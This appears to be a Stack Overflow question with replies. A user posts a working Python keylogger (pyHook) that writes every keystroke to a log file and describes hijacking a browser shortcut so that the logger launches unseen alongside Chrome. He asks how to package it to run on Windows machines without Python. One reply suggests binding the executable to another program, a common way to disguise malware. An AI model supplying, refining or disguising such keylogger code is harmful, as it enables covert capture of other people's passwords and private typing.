0

Sorry for the ignorance, but I could not find a solution!! p.s.: I'm "hacking to learn and not learning to hack" -Tinkernut (youtube_channel)

I had a simple keylogger.pyw and a notepad batch file so that when I clicked on a specific browser it would open both the browser and the keylogger (I altered the path to the browser's shortcut so that it would open the batch file). Is it possible to do this without having to write an external batch file, and to compile the program so that it runs on the computer without python installed on WINDOWS platform 7 and 8?

 import pyHook, pythoncom, sys, logging


file_log = 'C:\\Users\\...\\Documents\\log.txt'

def OnKeyboardEvent (event) :
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True
hooks_manager = pyHook.HookManager ()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

import os
print os.system('C:\\Users\\...\\Google\\Chrome\\Application\\chrome.exe')
Mr. White
  • 1
  • 3
  • _"I altered the path to the browser's shortcut so that it would open the batch file."_ What does that path look like now? Can't you just replace the "myBatchFile.bat" part with "keylogger.pyw"? – Kevin Jun 10 '14 at 19:54
  • 1
    See also: [How to make a Python script standalone executable to run without ANY dependency?](http://stackoverflow.com/questions/5458048/how-to-make-a-python-script-standalone-executable-to-run-without-any-dependency) – Kevin Jun 10 '14 at 19:58

1 Answers1

0

I'm not sure about this. But, one thing that can help you is if u r converting python to windows executable, then bind those 2 programs (Your windows Exe file and + the program u want to run ) using binder.

gwthm.in
  • 638
  • 9
  • 24